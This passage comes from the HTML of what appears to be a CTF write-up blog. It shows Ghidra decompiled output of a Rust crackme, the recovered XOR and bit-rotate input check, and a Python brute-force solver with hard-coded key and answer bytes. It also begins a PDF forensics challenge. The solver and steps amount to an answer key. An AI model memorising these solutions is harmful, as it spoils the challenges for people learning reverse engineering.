operator\">=</span> <span class=\"token punctuation\">(</span>undefined4<span class=\"token punctuation\">)</span>uStack_50<span class=\"token punctuation\">;</span>\n  uStack_134 <span class=\"token operator\">=</span> uStack_50<span class=\"token punctuation\">.</span>_4_4_<span class=\"token punctuation\">;</span>\n  uStack_130 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>undefined4<span class=\"token punctuation\">)</span>uStack_48<span class=\"token punctuation\">;</span>\n  uStack_12c <span class=\"token operator\">=</span> uStack_48<span class=\"token punctuation\">.</span>_4_4_<span class=\"token punctuation\">;</span>\n  uStack_50 <span class=\"token operator\">=</span> lVar2<span class=\"token punctuation\">;</span>\n  uStack_48 <span class=\"token operator\">=</span> ppvVar6<span class=\"token punctuation\">;</span>\n  <span class=\"token function\">FUN_140005370</span><span class=\"token punctuation\">(</span>lVar2<span class=\"token punctuation\">,</span>ppvVar6<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256c0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  uVar3 <span class=\"token operator\">=</span> <span class=\"token function\">FUN_140003130</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  lVar2 <span class=\"token operator\">=</span> <span class=\"token function\">FUN_140004d90</span><span class=\"token punctuation\">(</span>uVar3<span class=\"token punctuation\">,</span>ppvVar6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  lStack_40 <span class=\"token operator\">=</span> lVar2<span class=\"token punctuation\">;</span>\n  ppvStack_38 <span class=\"token operator\">=</span> ppvVar6<span class=\"token punctuation\">;</span>\n  lStack_30 <span class=\"token operator\">=</span> lVar2<span class=\"token punctuation\">;</span>\n  ppvStack_28 <span class=\"token operator\">=</span> ppvVar6<span class=\"token punctuation\">;</span>\n  lStack_20 <span class=\"token operator\">=</span> lVar2<span class=\"token punctuation\">;</span>\n  ppvStack_18 <span class=\"token operator\">=</span> ppvVar6<span class=\"token punctuation\">;</span>\n  lVar4 <span class=\"token operator\">=</span> <span class=\"token function\">FUN_140006490</span><span class=\"token punctuation\">(</span>lVar2<span class=\"token punctuation\">,</span>ppvVar6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>lVar4 <span class=\"token operator\">==</span> <span class=\"token number\">0x23</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">FUN_1400029c0</span><span class=\"token punctuation\">(</span>auStack_f0<span class=\"token punctuation\">,</span>lVar2<span class=\"token punctuation\">,</span><span class=\"token punctuation\">(</span>ulonglong<span class=\"token punctuation\">)</span>ppvVar6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    uStack_d3 <span class=\"token operator\">=</span> <span class=\"token number\">0x86</span><span class=\"token punctuation\">;</span>\n    uStack_d2 <span class=\"token operator\">=</span> <span class=\"token number\">0x2b</span><span class=\"token punctuation\">;</span>\n    uStack_d1 <span class=\"token operator\">=</span> <span class=\"token number\">0x12</span><span class=\"token punctuation\">;</span>\n    uStack_d0 <span class=\"token operator\">=</span> <span class=\"token number\">0xf</span><span class=\"token punctuation\">;</span>\n    uStack_cf <span class=\"token operator\">=</span> <span class=\"token number\">0x99</span><span class=\"token punctuation\">;</span>\n    uStack_ce <span class=\"token operator\">=</span> <span class=\"token number\">0xcc</span><span class=\"token punctuation\">;</span>\n    uStack_cd <span class=\"token operator\">=</span> <span class=\"token number\">0x1d</span><span class=\"token punctuation\">;</span>\n    uStack_cc <span class=\"token operator\">=</span> <span class=\"token number\">0x55</span><span class=\"token punctuation\">;</span>\n    uStack_cb <span class=\"token operator\">=</span> <span class=\"token number\">0xb7</span><span class=\"token punctuation\">;</span>\n    uStack_ca <span class=\"token operator\">=</span> <span class=\"token number\">0x39</span><span class=\"token punctuation\">;</span>\n    uStack_c9 <span class=\"token operator\">=</span> <span class=\"token number\">0xc5</span><span class=\"token punctuation\">;</span>\n    uStack_c8 <span class=\"token operator\">=</span> <span class=\"token number\">0xbe</span><span class=\"token punctuation\">;</span>\n    uStack_c7 <span class=\"token operator\">=</span> <span class=\"token number\">0xf3</span><span class=\"token punctuation\">;</span>\n    uStack_c6 <span class=\"token operator\">=</span> <span class=\"token number\">0xab</span><span class=\"token punctuation\">;</span>\n    uStack_c5 <span class=\"token operator\">=</span> <span class=\"token number\">0x5d</span><span class=\"token punctuation\">;</span>\n    uStack_c4 <span class=\"token operator\">=</span> <span class=\"token number\">0x90</span><span class=\"token punctuation\">;</span>\n    uStack_c3 <span class=\"token operator\">=</span> <span class=\"token number\">0x5f</span><span class=\"token punctuation\">;</span>\n    uStack_c2 <span class=\"token operator\">=</span> <span class=\"token number\">0x5f</span><span class=\"token punctuation\">;</span>\n    uStack_c1 <span class=\"token operator\">=</span> <span class=\"token number\">0x4c</span><span class=\"token punctuation\">;</span>\n    uStack_c0 <span class=\"token operator\">=</span> <span class=\"token number\">0xaf</span><span class=\"token punctuation\">;</span>\n    uStack_bf <span class=\"token operator\">=</span> <span class=\"token number\">0xb6</span><span class=\"token punctuation\">;</span>\n    uStack_be <span class=\"token operator\">=</span> <span class=\"token number\">0x2b</span><span class=\"token punctuation\">;</span>\n    uStack_bd <span class=\"token operator\">=</span> <span class=\"token number\">0xf1</span><span class=\"token punctuation\">;</span>\n    uStack_bc <span class=\"token operator\">=</span> <span class=\"token number\">0x6c</span><span class=\"token punctuation\">;</span>\n    uStack_bb <span class=\"token operator\">=</span> <span class=\"token number\">0xed</span><span class=\"token punctuation\">;</span>\n    uStack_ba <span class=\"token operator\">=</span> <span class=\"token number\">0xbe</span><span class=\"token punctuation\">;</span>\n    uStack_b9 <span class=\"token operator\">=</span> <span class=\"token number\">0x76</span><span class=\"token punctuation\">;</span>\n    uStack_b8 <span class=\"token operator\">=</span> <span class=\"token number\">0x14</span><span class=\"token punctuation\">;</span>\n    uStack_b7 <span class=\"token operator\">=</span> <span class=\"token number\">0x9b</span><span class=\"token punctuation\">;</span>\n    uStack_b6 <span class=\"token operator\">=</span> <span class=\"token number\">0x88</span><span class=\"token punctuation\">;</span>\n    uStack_b5 <span class=\"token operator\">=</span> <span class=\"token number\">0x88</span><span class=\"token punctuation\">;</span>\n    uStack_b4 <span class=\"token operator\">=</span> <span class=\"token number\">0x20</span><span class=\"token punctuation\">;</span>\n    uStack_b3 <span class=\"token operator\">=</span> <span class=\"token number\">0xa3</span><span class=\"token punctuation\">;</span>\n    uStack_b2 <span class=\"token operator\">=</span> <span class=\"token number\">0xa0</span><span class=\"token punctuation\">;</span>\n    uStack_b1 <span class=\"token operator\">=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n    bVar1 <span class=\"token operator\">=</span> <span class=\"token function\">FUN_140004210</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>bVar1 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      ppuVar7 <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>PTR_s_Correct<span class=\"token operator\">!</span>_140025700<span class=\"token punctuation\">;</span>\n      <span class=\"token function\">FUN_140001d60</span><span class=\"token punctuation\">(</span>auStack_80<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_Correct<span class=\"token operator\">!</span>_140025700<span class=\"token punctuation\">,</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256a8<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token function\">FUN_140009ef0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>undefined4 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>auStack_80<span class=\"token punctuation\">,</span>ppuVar7<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token function\">FUN_140006fe0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>longlong<span class=\"token punctuation\">)</span>auStack_f0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token function\">FUN_140006f80</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>longlong<span class=\"token punctuation\">)</span>local_150<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    ppuVar7 <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>PTR_s_Wrong<span class=\"token operator\">!</span>_1400256e0<span class=\"token punctuation\">;</span>\n    <span class=\"token function\">FUN_140001d60</span><span class=\"token punctuation\">(</span>auStack_b0<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_Wrong<span class=\"token operator\">!</span>_1400256e0<span class=\"token punctuation\">,</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256a8<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">FUN_140009ef0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>undefined4 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>auStack_b0<span class=\"token punctuation\">,</span>ppuVar7<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">FUN_140006fe0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>longlong<span class=\"token punctuation\">)</span>auStack_f0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    ppuVar7 <span class=\"token operator\">=</span> <span class=\"token operator\">&amp;</span>PTR_s_Wrong<span class=\"token operator\">!</span>_1400256e0<span class=\"token punctuation\">;</span>\n    <span class=\"token function\">FUN_140001d60</span><span class=\"token punctuation\">(</span>auStack_120<span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_Wrong<span class=\"token operator\">!</span>_1400256e0<span class=\"token punctuation\">,</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span><span class=\"token operator\">&amp;</span>PTR_s_src\\main<span class=\"token punctuation\">.</span>rs_1400256a8<span class=\"token punctuation\">,</span><span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">FUN_140009ef0</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>undefined4 <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span>auStack_120<span class=\"token punctuation\">,</span>ppuVar7<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token function\">FUN_140006f80</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>longlong<span class=\"token punctuation\">)</span>local_150<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n  <span class=\"token keyword\">return</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Here, the program accepts an input of length <code class=\"language-text\">0x23</code>, processes it in the function at offset <code class=\"language-text\">0x29c0</code>, and finally stores the result in a memory region called <code class=\"language-text\">BUF1</code>.</p>\n<p>A later function then compares <code class=\"language-text\">BUF1</code> with a hard-coded <code class=\"language-text\">BUF2</code> using <code class=\"language-text\">memcmp</code>, and returns <code class=\"language-text\">\"Correct\"</code> if they match.</p>\n<p>By combining Ghidra and WinDbg during analysis, I found that this input transformation can be expressed as follows.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">for</span> k <span class=\"token keyword\">in</span> key<span class=\"token punctuation\">:</span>\n    f <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"a\"</span><span class=\"token punctuation\">)</span><span class=\"token operator\">^</span>k<span class=\"token punctuation\">)</span>\n    f <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>f <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span> <span class=\"token operator\">|</span> f <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>So using the hard-coded byte sequence in <code class=\"language-text\">BUF2</code>, I brute-forced the correct input string.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">key <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>i <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">35</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xd2</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa5</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xf6</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xb1</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x1f</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x6c</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x33</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x3d</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x84</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x3d</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x2e</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xc6</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x8f</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x84</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x23</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">15</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x7b</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa3</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xbf</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x76</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xb4</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">20</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xcb</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xa6</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">22</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x1d</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x7c</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x24</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xdb</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">26</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0xf5</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">27</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x6c</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x95</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x7d</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">30</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x56</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">31</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x61</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">32</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x85</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">33</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x4d</span>\nkey<span class=\"token punctuation\">[</span><span class=\"token number\">34</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0x2f</span>\nans <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token number\">0x86</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xf</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x99</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xcc</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x55</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xb7</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xc5</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xbe</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xf3</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xab</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5d</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x90</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5f</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x5f</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x4c</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xaf</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xb6</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xf1</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x6c</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xed</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xbe</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x76</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x9b</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x88</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x88</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xa3</span><span class=\"token punctuation\">,</span><span class=\"token number\">0xa0</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> c <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">,</span><span class=\"token number\">0x7e</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        f <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>c<span class=\"token operator\">^</span>key<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n        f <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>f <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span> <span class=\"token operator\">|</span> f <span class=\"token operator\">>></span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFF</span>\n        <span class=\"token keyword\">if</span> f <span class=\"token operator\">==</span> ans<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">:</span>\n            <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> end<span class=\"token operator\">=</span><span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n            <span class=\"token keyword\">break</span></code></pre></div>\n<p>However, while this string produced the <code class=\"language-text\">Correct</code> output, it still was not the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 488px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/f47a8becb81b864fd023a8ba082d65cf/bd48c/image-16898619418781.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 32.08333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAAtElEQVQY032PxwqGMBCEvVmxgAViYrl4svv+zzY/s5Dgj+JhmGTLt7teVVXQWqNtW3FjDMZxRN/36LrOxZRSzuu6Fs+yDHEcI0kSJ48N53liXVfs+45lWeQ/zzOO48C2bbiuS/KM8c1hTdO8A4dhwDRNsg2TURQhDMM/2eI0TQXCdxAEDnaHemVZPk7mELo9mZ7nuQxj8x3w2PANyJMskHF6URSfIAfkVK5/l+/7D2fdF8jqBzRAlI2cowOaAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/f47a8becb81b864fd023a8ba082d65cf/8ac56/image-16898619418781.webp 240w,\n/static/f47a8becb81b864fd023a8ba082d65cf/d3be9/image-16898619418781.webp 480w,\n/static/f47a8becb81b864fd023a8ba082d65cf/607ea/image-16898619418781.webp 488w\"\n              sizes=\"(max-width: 488px) 100vw, 488px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/f47a8becb81b864fd023a8ba082d65cf/8ff5a/image-16898619418781.png 240w,\n/static/f47a8becb81b864fd023a8ba082d65cf/e85cb/image-16898619418781.png 480w,\n/static/f47a8becb81b864fd023a8ba082d65cf/bd48c/image-16898619418781.png 488w\"\n            sizes=\"(max-width: 488px) 100vw, 488px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/f47a8becb81b864fd023a8ba082d65cf/bd48c/image-16898619418781.png\"\n            alt=\"img\"\n            title=\"img\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In fact, during the processing of <code class=\"language-text\">BUF1</code>, values were also being written to a particular data region at the same time.</p>\n<p>So I inspected that data region in WinDbg while entering the correct string, and that let me recover the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 724px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/68090184345bb9fb725eacbc3bf29d63/a242d/image-20230719193236476.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 40.833333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMElEQVQoz01R127EMAzzf2TvvS77LgsFWtzu/3+NGqpwcA+EJFumKFrcH08a+p6WdaV5nqnfc6CqKsqyjJIkoTAMKY5jKsuSI5DnOZ87jkOmaZKmaaTrOonr7U716cQEIErTlIFGNBiGwREPFEUhVVUZn7kkQxTfP1eq6/pQggZ5+dkocwwAoErmn/fitq8MZeM4Mk672svlQkEQkOu6DN/3WTWGSkRRxKvDFs/zjk3E6/1LbdvQunu4bRv7NE0TW9C2LdeIRVEcddd1TAQfm6ZhERiA7cTj9eaDZVmYCErwAA9lM5TDlmEY+Ox8PvM9SNAPq2zb/vfwyQpbJoRKNKDGdKkMRJIQA2ARFMIKWIOV5U+LdfuiaJ+AFTEV00Ai/YFfIEdELVWBCCSAZVkH4R9Pr/KGhiUiBgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/68090184345bb9fb725eacbc3bf29d63/8ac56/image-20230719193236476.webp 240w,\n/static/68090184345bb9fb725eacbc3bf29d63/d3be9/image-20230719193236476.webp 480w,\n/static/68090184345bb9fb725eacbc3bf29d63/79561/image-20230719193236476.webp 724w\"\n              sizes=\"(max-width: 724px) 100vw, 724px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/68090184345bb9fb725eacbc3bf29d63/8ff5a/image-20230719193236476.png 240w,\n/static/68090184345bb9fb725eacbc3bf29d63/e85cb/image-20230719193236476.png 480w,\n/static/68090184345bb9fb725eacbc3bf29d63/a242d/image-20230719193236476.png 724w\"\n            sizes=\"(max-width: 724px) 100vw, 724px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/68090184345bb9fb725eacbc3bf29d63/a242d/image-20230719193236476.png\"\n            alt=\"image-20230719193236476\"\n            title=\"image-20230719193236476\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"painfully-deep-flagforensic\" style=\"position:relative;\"><a href=\"#painfully-deep-flagforensic\" aria-label=\"painfully deep flagforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Painfully Deep Flag(Forensic)</h2>\n<blockquote>\n<p>This one is a bit deep in the stack.</p>\n</blockquote>\n<p>A standard challenge.</p>\n<p>I was given a suspicious PDF, and when I broke it apart with <code class=\"language-text\">pdftohtml</code>, I was able to recover the flag.</p>\n<div class=\"gatsby-highlight\" 